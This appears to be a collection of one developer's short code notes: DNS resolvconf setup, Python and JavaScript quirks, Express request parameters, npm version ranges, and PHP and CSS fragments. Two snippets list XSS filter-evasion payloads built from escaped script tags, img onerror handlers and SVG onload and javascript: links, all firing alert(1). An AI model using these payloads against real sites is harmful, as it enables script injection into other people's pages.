a1exlism

sudo vim /etc/resolvconf/resolv.conf.d/base
  #Write optional dns
  #nameserver 223.5.5.5
  #nameserver 8.8.4.4
  
resolvconf -u

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#Array
aList = [1, 2, 3, 4]
aList[2:] #[3, 4]

#Variables
a = 1
a++ --a # Wrong no function for this

# mul-tuple
(x, y, z) = (1, 2, 'a string')

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<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>        
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>

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req.query： 处理 get 请求，获取 get 请求参数
req.params： 处理 /:xxx 形式的 get 或 post 请求，获取请求参数
req.body： 处理 post 请求，获取 post 请求体
req.param()： 处理 get 和 post 请求，但查找优先级由高到低为 req.params→req.body→req.query

From: https://github.com/nswbmw/N-blog/wiki/第1章--一个简单的博客

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From: http://blog.csdn.net/woxueliuyun/article/details/39294375

{ "dependencies" :
  { "foo" : "1.0.0 - 2.9999.9999"
  , "bar" : ">=1.0.2 <2.1.2"
  , "baz" : ">1.0.2 <=2.3.4"
  , "boo" : "2.0.1"
 , "qux" : "&lt;1.0.0 || &gt;=2.3.1 &lt;2.4.5 || &gt;=2.5.2 &lt;3.0.0"

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<?php 
function listDir($dir)
{
	if(is_dir($dir))
   	{
     	if ($dh = opendir($dir)) 
		{
        	while (($file = readdir($dh)) !== false)
			{
     			if((is_dir($dir."/".$file)) && $file!="." && $file!="..")

a1exlism

<img src="1" onerror=location="javascript:alert%281%29">


SVG:
<svg xmlns="http://www.w3.org/2000/svg">
  <g onload="javascript:alert(1)"></g>
</svg>
<svg xmlns="http://www.w3.org/2000/svg">
  <animation xlink:href="javascript:alert(1)"/>
</svg>

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/* .的含义
1、表示算术中的小数点（浮点数），如 2.5
2、取对象属性、方法，如 [].push(2)
*/

1.toString();   //Error
1..toString();  //Works well
1 .toString();  //Works well

/*

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from: http://www.html5rocks.com/en/tutorials/developertools/sourcemaps/

启用Source map:

1. xx.min.css: 尾部添加

@ sourceMappingURL=/path/to/file.css.map 可能需要添加//

2. xx.min.js

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canvas {
	top: 0;
	left: 0;
	position: fixed;
	height: 100%;
	z-index: -1;
}